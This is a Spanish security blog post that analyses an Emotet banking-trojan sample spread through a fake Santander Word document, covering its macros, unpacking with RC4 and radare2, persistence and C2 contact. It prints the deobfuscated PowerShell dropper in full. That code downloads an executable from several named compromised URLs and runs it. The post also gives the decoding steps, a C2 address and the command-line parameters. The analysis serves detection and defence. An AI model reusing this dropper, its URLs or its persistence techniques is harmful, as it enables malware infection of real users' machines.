Ilustración abstracta de hexágonos multicolores formando un patrón en espiral

Vulnerabilidades y Ataques Informaticos

Analizando el troyano bancario Emotet

Últimamente se están recibiendo campañas con este troyano bancario. Emotetes un malware que afecta a los datos de los bancos, y nosotros lo destripamos.

Últimamente se están recibiendo campañas con este troyano, ¿qué es lo que hace?

Regresa el troyano Emotet: así actúa y cómo evitar caer en la trampa del correo malicioso que te infecta. Ver más

Como resumen os diré (y que podéis leer en el enlace anterior) que el troyano diseñado para robar datos financieros que ha vuelto bajo la apariencia de correos que se hacen pasar por contactos de la libreta de direcciones de la víctima, en una nueva estrategia que afecta especialmente a España.

Dicho esto, vamos a ver cómo podemos analizarlo y detectarlo, además de algunos consejos para no ser víctima de este tipo de malware.

Analizaremos esta muestra en todo su proceso, que simular ser un documento del banco Santander (“Santander 205517923549780.doc”)

Como podréis comprobar, el documento no se llega a ejecutar con éxito en esta plataforma debido a alguna protección que lleva y que veremos después.

Lo primero y más importante es cómo llega a vosotros, es por correo. Normalmente recibís un correo desde una cuenta desconocida con un adjunto, un documento de Microsoft Office Word, Excel, PDF, etc.

En este caso, le han dado una vuelta de tuerca, y esta vez, para hacerlo más creíble, llegará desde una dirección de correo de algún conocido. Como podíamos leer en el anterior artículo y según ESET:

En los correos recibidos en las últimas horas se pueden observar varios puntos importantes para identificarlos como maliciosos. Uno de ellos es que no aparece un remitente sino dos. El primero es el que suplanta el malware para hacernos creer que el correo viene remitido por alguien de confianza. Por su parte, el segundo remitente que se puede observar en el campo "De:" o en el Return Path de la cabecera del correo pertenece al dominio comprometido por los atacantes y usado para realizar el envío masivo de correos.

Si te llega un correo con un adjunto desde una dirección desconocida, la solución es fácil, no lo abráis nunca, borradlo directamente. Pero ¿y si os llega desde una dirección conocida? La cosa se complica como os habrá pasado a algunos.

El documento de recibido tiene este aspecto:

Documento Word en Vista protegida pidiendo habilitar el contenido activo y las macros

Salvo que confiéis 100% en el documento, no debéis “Habilitar contenido” en él. Si lo hacéis, preparaos para lo peor. Si utilizáis algún antivirus, cosa altamente recomendable, puede que lo detecte y no se ejecuten las macros, en caso contrario, esto es lo que pasará.

Otras de las muestras que he podido analizar llevan una protección contra plataformas de análisis online como el enlace que os puse arriba (Hybrid Analysis), si no tiene más de 3 documentos abiertos recientemente, no funcionará. Con esto evitan que se sepa desde donde descargarán el troyano. Recordemos que este solamente es el documento que descarga y ejecuta el troyano.

Editor de VBA mostrando la macro autoopen con una condición RecentFiles.Count mayor que tres

Las macros (ofuscadas, no se ve lo hacen a simple vista) ejecutan un comando Powershell con las descarga del malware desde unas URL.

Editor de Visual Basic junto a un volcado hexadecimal con flechas hacia la cadena cifrada

Podemos coger ese código codificado en Base64 y utilizar vuestra herramienta preferida para decodificarlo (el comando base64 de linux/cygwin etc. sería suficiente).

Consola con el script PowerShell desofuscado mostrando las URLs de descarga del malware

Que nos dice el anterior script programado para Powershell, descarga el malware desde cualquiera de esas URL, guardalo en el perfil del usuario con el nombre “212.exe” y ejecútalo. Si esto ocurre, entonces habría que poner medidas. Hay cientos de soluciones para eliminar el troyano del equipo, para gustos, colores.

Para detectar este tipo de documentos y sacar esas URL que hemos visto, no es necesario abrirlos. Podemos ejecutar el siguiente comando:

$ strings Santander\ 205517923549780.doc | grep -A 2 Forms.TextBox.1 | grep JABI

JABIuH3tAEIuH3gASIuH3wB3IuH3AFIIuH3ARgIuH3A9AIuH3CcAIuH3SgBIuH3JAGIuH3IAbIuH3gB2Iu

H3AGYIuH3AbwIuH3BMAIuH3CcAIuH3OwAIuH3kAGIuH3IAMIuH3wBhIuH3AFMIuH3AaQIuH3BtAIuH3DQA

IuH3XwAIuH3gADIuH30AIIuH3AAnIuH3ADkIuH3AOAIuH3AyAIuH3CcAIuH3OwAIuH3kAEIuH3cAdIuH3g

BIIuH3AEsIuH3AMgIuH3BNAIuH3D0AIuH3JwBIuH3uAFIuH38AdIuH3gBQIuH3AGoIuH3AcgIuH3BwAIuH

3CcAIuH3OwAIuH3kAFIuH3EAeIuH3gBpIuH3AEEIuH3AQgIuH3BCAIuH3DYAIuH3TAAIuH39ACIuH3QAZI

uH3QBuIuH3AHYIuH3AOgIuH3B1AIuH3HMAIuH3ZQBIuH3yAHIuH3AAcIuH3gBvIuH3AGYIuH3AaQIuH3Bs

AIuH3GUAIuH3KwAIuH3nAFIuH3wAJIuH3wArIuH3ACQIuH3AYgIuH3AzAIuH3GEAI ….

El comando “grep” del final lo he puesto para que salga directamente, lo importante es el “grep” anterior.

Formulario VBA Forms.TextBox.1 con una larga cadena de texto ofuscada en Base64

Esa cadena que veis el el código codificado en base64 que ejecutará Powershell, sólo que con una particularidad, tal cual no funcionará. Hay que eliminar caracteres. La macro eliminaba o reemplazaba “IuH3” por nada. Así que veamos qué pasará si lo hacemos.

$ strings Santander\ 205517923549780.doc | grep -A 2

Forms.TextBox.1 | grep JABI | sed 's/IuH3//g'

JABtAEgASwB3AFIARgA9ACcASgBJAGIAbgB2AGYAbwBMACcAOwAkAGIAMwBhAFM

AaQBtADQAXwAgAD0AIAAnADkAOAAyACcAOwAkAEcAdgBIAEsAMgBNAD0AJwBuAF

8AdgBQAGoAcgBwACcAOwAkAFEAegBpAEEAQgBCADYATAA9ACQAZQBuAHYAOgB1A

HMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgAzAGEAUwBpAG0ANABf

ACsAJwAuAGUAeABlACcAOwAkAGoAdwB0

….

Tiene mejor pinta, ahora solamente nos queda ejecutar “base64 -d” para obtener lo mismo que veíamos anteriormente, el script que ejecutará Powershell.

$ strings Santander\ 205517923549780.doc | grep -A 2 Forms.TextBox.1

| grep JABI | sed 's/IuH3//g' | base64 -d

$mHKwRF='JIbnvfoL';$b3aSim4_ = '982';$GvHK2M='n_vPjrp';

$QziABB6L=$env:userprofile+'\'

+$b3aSim4_+'.exe'

$jwt7_N='Z6G6oToS';$z_nf09=.

('new-'+'ob'+'ject') nEt.WebClient;$EIpSGwu='

https://sabiosdelamor.co/wp-content/VtyEqoElo/@

https://www.euroausili.it/wp-content/iIFSXTWmN/@

https://opel.km.ua/blogs/3uju_tiowf9i-149/@

https://hablabestop.live/rqbe9p/pKkLiuqGj/@

https://dogongulong.vn/wp-admin/vaIDeyDj/'."

sP'liT"('@');$Xn9Tjqi='W548GPbi';foreach($CiXHiW

in $EIpSGwu){try{$z_nf09."d'ow'N'lOADFIle"($CiXHiW,

$QziABB6L);$HIiHWWSf='jH8oIM';If ((&('Get'+'-I'+'tem')

$QziABB6L)."leN'gtH" -ge 32385) {[Diagnostics.Process]::

"sT'Art"($QziABB6L);$KCbsjk=

'wApMvaa';break;$vjl8QLw='Q8Pz5n'}}catch{}}$A1saBh='QiB67rh4'

Como veis tiene el mismo aspecto, almacena las URL separadas con una @rroba, las separa y va recorriendo una a una hasta que consigue descargar el troyano bancario.

Vale, ya lo tenemos, ¿cómo infecta el equipo? Tiene muchas cadenas cifradas con algún algoritmo, luego veremos cual.

Depurador mostrando los registros de la CPU y la ruta del archivo y7fteuqr.HLP

Las más importantes corresponden a funciones de la API de Windows o dll que utilizará después.

Ejemplo de función de API:

Depurador mostrando la llamada a la función VirtualAlloc en el registro ECX

Ejemplo de DLL:

Depurador mostrando el registro ECX con la cadena unicode kernel32.dll

¿Cómo lo hace para dificultar la obtención de las mismas?

Volcado hexadecimal anotado señalando las cadenas VirtualAlloc, memcpy y FindResourceA construidas byte a byte

De esta forma, evitan que aparezcan con comandos del tipo strings, es una protección más. El fichero que será ejecutado en memoria está dentro de un recurso:

Depurador junto a Resource Hacker mostrando el recurso RCData 102 del ejecutable

Aparentemente son datos, no tiene una cabecera PE. No lo quieren poner tan fácil. Este es el troyano conocido como Emotet, por fin, pero antes hay que extraerlo y descifrarlo.

Diagrama con flechas rojas que conecta la llamada ntdll.memcpy con el recurso RCData

Primero se prepara para copiar el contenido en memoria.

Flecha roja que une la llamada ntdll.memcpy con el volcado de memoria vacío en 003D0000

Una vez obtiene la dirección donde será copiado, procede a ello.

Flecha roja que une ntdll.memcpy con el volcado de memoria ya con datos copiados

Ya está en su sitio, faltaría descifrarlo. Mediante una función RC4 con esta clave, lo descifra:

Depurador con el registro ECX mostrando una cadena ASCII descifrada tras la llamada
Depurador mostrando la llamada a VirtualProtectEx antes de ejecutar el PE desempaquetado

Ya podemos extraerlo.

Mapa de memoria y volcado hexadecimal con la cabecera MZ del ejecutable extraído

Y arreglarlo:

PE-bear mostrando las cabeceras y secciones .text, .rdata y .data del binario volcado

Como podeis imaginar, se trata de un packer. ¿Se puede automatizar este proceso?

Terminal ejecutando emotet_extract.py que encuentra la clave y descifra el binario de Emotet

¡Se puede! Podemos utilizar r2pipe para ello.

Código fuente en Python del script emotet_extract.py que descifra recursos con RC4

En las strings (una vez abierto y analizado el fichero con radare2) nos da una pista:

Ventana de radare2 con referencias cruzadas anotadas mostrando la clave y el descifrado RC4
Consola de radare2 listando las referencias a cadenas con el comando axt

Tenemos una cadena que nos dice algo de descifrar si la clave falla…

Desensamblado en radare2 mostrando la cadena Decrypt_Key_Fail y una llamada a MessageBoxA

Vale, así que tenemos una función, esa call “fcn.00405d30” a la que se le pasan datos y una clave.

Código Python de la función rc4crypt que implementa el algoritmo de cifrado RC4

De esta forma se puede obtener la clave, extraer el recurso del binario, descrifrarlo con la clave y ya tenemos el troyano limpio, listo para analizar. Sobre él y su funcionamiento hay muchas literatura escrita y la rueda ya está inventada

Como resumen, si tiene permisos crea un servicio, se copia a c:\windows\system32 y se ejecuta como system. Aquí podéis verlo funcionando en un cuckoo cualquiera:

Árbol de procesos con mirayellow.exe ejecutándose bajo services.exe durante el análisis

Y comienza a comunicarse con el Command and Control:

Tabla de llamadas a la API de Windows Internet conectando con el servidor 190.158.19.141

hxxp://190.158.19.141/report/symbols/between/

Para este caso concreto se ejecutaría de esta forma (siendo _01170000.exe el binario extraído anteriormente):

C:\Users\RA\AppData\Local\Temp\_01170000.exe --10f0e098
"C:\Windows\system32\mirayellow.exe"
C:\Windows\system32\mirayellow.exe --341c76f3

Sin los parámetros no funcionaría bien.... ojo. Crea el servicio ”mirayellow” y lo inicia como veíais anteriormente en los procesos.

En el caso de no disponer de permisos, se copia en el %APPDATA% y se crea la clave de registro correspondiente en el clásico “Run” (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run).

Nos vemos/leemos pronto en otro artículo.

Hasta otra!!

Temas

No hay comentarios todavía